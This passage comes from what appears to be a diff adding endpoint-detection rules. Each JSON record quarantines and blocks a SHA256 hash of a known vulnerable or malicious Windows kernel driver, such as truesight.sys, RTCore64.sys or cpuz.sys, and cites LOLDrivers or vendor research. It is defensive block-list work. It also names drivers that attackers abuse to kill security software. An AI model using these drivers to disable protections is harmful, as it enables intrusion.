+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "02e43f36-0536-5d7c-8043-8dfeb7088a50",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829934Z",
+  "creation_date": "2026-03-23T11:45:30.829936Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829941Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f6b1aeec2dcdc6bca062aebf012cc897e26615be007059dd098780b85977c91",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "02f123f7-7e0c-520c-a29c-c61b3cd2753f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472501Z",
+  "creation_date": "2026-03-23T11:45:30.472505Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472514Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "73c03b01d5d1eb03ec5cb5a443714b12fa095cc4b09ddc34671a92117ae4bb3a",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "02f59a82-cfbf-5a27-9e20-0fb3c73f1515",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147147Z",
+  "creation_date": "2026-03-23T11:45:31.147149Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147155Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "637f36fae18a32aac7c284249963f36ac67c049cb557541d3b24eabe2c77c6cc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "02fc09c8-a6ee-5c7f-a170-0f8d528f0bb5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147042Z",
+  "creation_date": "2026-03-23T11:45:31.147044Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147049Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b2f91e1d9b4eaaf2037d10896d9a151fa1403c3c3efc03f6863a519b6d0bb4b8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "03197381-af7f-5ca5-8b90-947f8dedf145",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983086Z",
+  "creation_date": "2026-03-23T11:45:29.983088Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983094Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3390919bb28d5c36cc348f9ef23be5fa49bfd81263eb7740826e4437cbe904cd",
+  "comment": "Vulnerable Kernel Driver (aka nstrwsk.sys) [https://www.loldrivers.io/drivers/e9b099f6-8a12-46f0-a540-40e88cf0ce17/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "032b3a6e-5b72-588d-8eb6-ff6f05a5e666",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475798Z",
+  "creation_date": "2026-03-23T11:45:30.475801Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475810Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b975bb2aeb265f1e943a9ca501fc76e2b4514e874ca449c0e59fb36bacf17159",
+  "comment": "Malicious Kernel Driver (aka 6771b13a53b9c7449d4891e427735ea2.sys) [https://www.loldrivers.io/drivers/ddca6daf-4932-4e82-ad3c-d92d47632ea4/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "03451eda-7d3f-5e9c-b42f-189566de53ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460822Z",
+  "creation_date": "2026-03-23T11:45:30.460826Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460834Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6a2b1937fa277526a1e0ca9f9b32f85ab9cb7cb1a32250dd9c607e93fc2924f",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "03462b63-efc5-5618-a732-13c397e187fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835591Z",
+  "creation_date": "2026-03-23T11:45:30.835593Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835599Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac8b97d5da80ca7b0f325d0b9d28a1a97a21725ae81c8504cc50be50a3a00382",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "03488896-4b3f-54c7-861a-da48d7fe4ee6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147376Z",
+  "creation_date": "2026-03-23T11:45:31.147378Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147384Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f5bdeecabdf1c33c6f1263bc9a2f6e816eefb117b4d19dabd86743398abbce9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0360a8bb-1dd0-5e2f-9658-aebdb564b83f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476280Z",
+  "creation_date": "2026-03-23T11:45:30.476283Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476291Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "834a3d755b5ae798561f8e5fbb18cf28dfcae7a111dc6a03967888e9d10f6d78",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0377aacc-9f0a-5094-a490-ef43f4ae4061",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499243Z",
+  "creation_date": "2026-03-23T11:45:31.499246Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499254Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a9a17986c8d36a2244538222be04858b5a3f23eef5f6484b6923e225874d564",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "037e14f8-b96f-50a6-9a57-2a4b0a01ef90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452882Z",
+  "creation_date": "2026-03-23T11:45:30.452886Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452896Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec1307356828426d60eab78ffb5fc48a06a389dea6e7cc13621f1fa82858a613",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0398198d-ce88-5c5e-8b75-41a6e6640cbc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977018Z",
+  "creation_date": "2026-03-23T11:45:29.977020Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977026Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "689995fe5db058b23ce5f421e9bc256377f40ada2b74c9c50672a54d1b98834e",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "039b36fd-622b-5014-9afa-ca4ebb77f3d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458521Z",
+  "creation_date": "2026-03-23T11:45:30.458524Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458533Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "234fc829bfd4d8d5dca351be176f5a06cb29bbfd5632a93cc218936d32a44851",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "03b3f3a8-9979-56fb-b988-58051e45ea43",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613154Z",
+  "creation_date": "2026-03-23T11:45:29.613156Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613161Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7f75d91844b0c162eeb24d14bcf63b7f230e111daa7b0a26eaa489eeb22d9057",
+  "comment": "ASUS vulnerable UEFI Update Driver (aka AsUpIO64.sys and GVCIDrv64.sys) [https://codeinsecurity.wordpress.com/2016/06/12/asus-uefi-update-driver-physical-memory-readwrite/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "03bb5dd9-6232-5b30-baf4-6942e653836f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617609Z",
+  "creation_date": "2026-03-23T11:45:29.617611Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617616Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "48d67eacca3ff6a4310f3164988b832ba7142021aec0d7a1b988be240b7ad170",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "03bb70a2-e818-51b1-a84c-69305b28b316",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478104Z",
+  "creation_date": "2026-03-23T11:45:30.478107Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478116Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "992eb531739029456311043f99fa48ac896a59e70edc48093facaf3479e0c3f0",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "03bb82b7-08e3-52b2-aa32-b2cbc91aeeac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808239Z",
+  "creation_date": "2026-03-23T11:45:31.808242Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808251Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "61939a658ad0d4d93fde596a40ef9e81e4b2d3833ca614d6216e8445741aef7a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "03dde572-6100-504c-a8c7-9dce7a9d4f53",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479583Z",
+  "creation_date": "2026-03-23T11:45:30.479585Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479591Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "33c6c622464f80a8d8017a03ff3aa196840da8bb03bfb5212b51612b5cf953dc",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO64I.SYS) [https://www.loldrivers.io/drivers/080a834f-3e19-4cae-b940-a4ecf901db28/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "03e7d81d-3ba9-5ba2-a30b-d225d2508d6a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978826Z",
+  "creation_date": "2026-03-23T11:45:29.978828Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978833Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "22be050955347661685a4343c51f11c7811674e030386d2264cd12ecbf544b7c",
+  "comment": "Vulnerable Kernel Driver (aka speedfan.sys) [https://www.loldrivers.io/drivers/137daca4-0d7b-48aa-8574-f7eb6ad02526/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "03f12abe-2f1e-5835-8784-c77cdb8167a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143826Z",
+  "creation_date": "2026-03-23T11:45:31.143828Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143834Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2256ff8815e0f956ecda7946b37aa28816f6ab6ef91db426de4e49055c0f3741",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "03f65d58-acc5-5747-9a2b-efc1f77662c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821449Z",
+  "creation_date": "2026-03-23T11:45:31.821451Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821456Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e19076fa8c2424904b383c36c73eadfb5dbbde610cbaef094e4928036ff8b39",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0403f78e-afc0-56b5-9a87-9ddd8bead19f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
